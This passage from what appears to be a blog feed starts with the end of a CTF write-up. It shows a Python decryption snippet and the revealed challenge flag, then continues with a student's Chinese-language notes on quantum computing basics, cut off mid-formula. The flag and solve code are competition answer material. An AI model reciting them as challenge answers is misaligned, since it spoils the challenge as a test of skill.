operator">+=</span> <span class="token number">1</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">[</span><span class="token punctuation">:</span>size<span class="token punctuation">]</span><span class="token punctuation">)</span>sequence <span class="token operator">=</span> <span class="token string">b'|'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>_WORDS<span class="token punctuation">)</span><span class="token keyword">if</span> hashlib<span class="token punctuation">.</span>sha256<span class="token punctuation">(</span>sequence<span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> seal<span class="token punctuation">:</span>    key <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>weights <span class="token operator">+</span> sequence <span class="token operator">+</span> <span class="token string">b'inference-cache'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span>    plain <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> _stream<span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>cipher<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>plain<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>即可得到 Flag：<code>grodno{p@ckl$s_are_so_yUmmy}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/20/Junior-Crypt-2026-CTF-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/07/20/Junior-Crypt-2026-CTF-Writeup/"/>
    <published>2026-07-20T10:03:33.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1>
<p>我們戰隊組了三隊去玩：<code>RCEs</code>、<code>RCEs-2</code>、<code>owo</code> (因為一隊上限 3 人)，結果 <code]]>
    </summary>
    <title>Junior.Crypt.2026 CTF Writeup</title>
    <updated>2026-07-20T10:03:33.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Quantum Computing" scheme="https://r3xdj.pages.dev/categories/Quantum-Computing/"/>
    <category term="camp" scheme="https://r3xdj.pages.dev/tags/camp/"/>
    <category term="quantum" scheme="https://r3xdj.pages.dev/tags/quantum/"/>
    <category term="qiskit" scheme="https://r3xdj.pages.dev/tags/qiskit/"/>
    <category term="quantum mechanics" scheme="https://r3xdj.pages.dev/tags/quantum-mechanics/"/>
    <category term="quantum algorithms" scheme="https://r3xdj.pages.dev/tags/quantum-algorithms/"/>
    <category term="quantum communication" scheme="https://r3xdj.pages.dev/tags/quantum-communication/"/>
    <category term="IBM Quantum" scheme="https://r3xdj.pages.dev/tags/IBM-Quantum/"/>
    <content>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1><p>會參加這個活動一是因為課程內容看起來就很酷，二是能水一整個禮拜的免費午餐，而且還送書，就是好東西不用錢還反過來送你禮物，這種東西哪裡找對吧！而且還不用考試選拔就能享受XD</p><blockquote><p><s>我都考過物奧了這種課程對我來說應該輕輕鬆鬆(x</s></p></blockquote><p>這次活動附中的特別多，是因為全校都把活動資訊丟在家長群，我比較納悶的是為什麼不直接丟給學生🤔</p><p>以下可能有很多地方都沒有寫的很清楚，這是因為這是一篇筆記文而非教學文。</p><p><img src="certification.png" alt="certification"><br><img src="book.jpg" alt="book"></p><h1 id="%E5%9F%BA%E6%9C%AC%E7%9A%84%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%B8" tabindex="-1">基本的量子力學</h1><h2 id="%E5%8F%A4%E5%85%B8%E7%89%A9%E7%90%86%E5%91%8A%E8%A8%B4%E6%88%91%E5%80%91%E7%9A%84%E4%BA%8B%E6%83%85" tabindex="-1" id="古典物理告訴我們的事情">古典物理告訴我們的事情</h2><ol><li>慣性：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><mover accent="true"><mi>F</mi><mo>⃗</mo></mover><mo>=</mo><mn>0</mn><mo>⇔</mo></mrow><annotation encoding="application/x-tex">\sum\limits{\vec{F}}=0\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2163em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9663em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.1389em;">F</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1522em;"><span class="overlay" style="height:0.714em;width:0.471em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.471em" height="0.714em" style="width:0.471em" viewBox="0 0 471 714" preserveAspectRatio="xMinYMin"><path d="M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 53.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 1110.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59H213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359c-16-25.333-24-45-24-59z"/></svg></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇔</span></span></span></span> 無法區分靜 / 動</li><li>帶電 / 磁物體具有加速度會發射電磁波</li></ol><h2 id="bra-ket" tabindex="-1" id="Bra-Ket">Bra-Ket</h2><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|\phi \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span> 叫做 Ket，就是我們熟悉的列向量，而每個 Ket 都有與之對應的 Bra：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>ϕ</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">\langle\phi|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">ϕ</span><span class="mord">∣</span></span></span></span>，是 Ket 的共軛轉置，為行向量，也就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>ϕ</mi><mi mathvariant="normal">∣</mi><mo>=</mo><mi mathvariant="normal">∣</mi><mi>ϕ</mi><msup><mo stretchy="false">⟩</mo><mo>†</mo></msup></mrow><annotation encoding="application/x-tex">\langle\phi| = |\phi \rangle^\dagger</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">ϕ</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mclose"><span class="mclose">⟩</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span></span></span></span>。我們可以輕易驗證兩向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>a</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|a \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">a</span><span class="mclose">⟩</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>b</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|b \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose">⟩</span></span></span></span> 的內積就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>a</mi><mi mathvariant="normal">∣</mi><mi>b</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\langle a|b \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose">⟩</span></span></span></span>。</p><p>我們會用一個 Hilbert space 裡的向量來表示一個量子態，Hilbert space 表示完備的內積空間。</p><p>我們定義以下常用的 basis：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left right left" columnspacing="0em 1em 0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo separator="true">,</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mo>+</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo separator="true">,</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mo>−</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}|0\rangle &amp;= \begin{pmatrix} 1 \\ 0 \end{pmatrix}, &amp; |1\rangle &amp;= \begin{pmatrix} 0 \\ 1 \end{pmatrix} \\|+\rangle &amp;= \frac{1}{\sqrt{2}}\left(|0\rangle + |1\rangle\right), &amp; |-\rangle &amp;= \frac{1}{\sqrt{2}}\left(|0\rangle - |1\rangle\right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.9515em;vertical-align:-2.2257em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣0</span><span class="mclose">⟩</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣</span><span class="mord">+</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣1</span><span class="mclose">⟩</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣</span><span class="mord">−</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><h2 id="bloch-sphere" tabindex="-1" id="Bloch-Sphere">Bloch Sphere</h2><p>球座標表示，就這樣。</p><p><img src="Bloch1.png" alt="Bloch1"></p><h2 id="stern-gerlach-%E5%AF%A6%E9%A9%97" tabindex="-1" id="Stern-Gerlach-實驗">Stern-Gerlach 實驗</h2><p><img src="Stern-Gerlach_PPT.jpg" alt="Stern-Gerlach_PPT"></p><p>量子力學中非常非常重要的實驗，不同於巨觀世界的直覺，說明量子力學中有疊加態且測量很重要。<br>我們以向量表示一個量子態，那測量就可以想像成把這個向量投影到測量的方向，能以此簡易的理解實驗結果。</p><p><img src="Stern-Gerlach.jpg" alt="Stern-Gerlach"></p><h2 id="%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%B8-4-%E5%A4%A7%E5%85%AC%E8%A8%AD" tabindex="-1" id="量子力學-4-大公設">量子力學 4 大公設</h2><p><img src="4_postulates_of_QM.jpg" alt="4 postulates of QM"></p><p>以下解釋 Unitary 和 Tensor product 是什麼</p><h3 id="unitary-matrix" tabindex="-1" id="Unitary-Matrix">Unitary Matrix</h3><p>矩陣 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span></span></span></span> 是 Unitary 矩陣表示</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>U</mi><mo>⋅</mo><msup><mi>U</mi><mo>†</mo></msup><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex">U\cdot U^\dagger = I</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span></span></span></span></span></p><p>為什麼量子變換都一定是 Unitary 呢？是因為 Unitary 能保正交(因為要機率守恆)，見以下：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ψ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ϕ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi&#x27;\rangle = U\vert{}\psi\rangle\vert{}\phi&#x27;\rangle = U\vert{}\phi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal">ϕ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⟨</mo><msup><mi>ψ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ϕ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mo stretchy="false">(</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><msup><mo stretchy="false">)</mo><mo>†</mo></msup><mo stretchy="false">(</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">⟨</mo><mi>ψ</mi><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>U</mi><mo>†</mo></msup><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\langle \psi&#x27; \vert{} \phi&#x27; \rangle = (U\vert{}\psi\rangle)^\dagger (U\vert{}\phi\rangle) = \langle \psi \vert{} U^\dagger U \vert{} \phi \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span 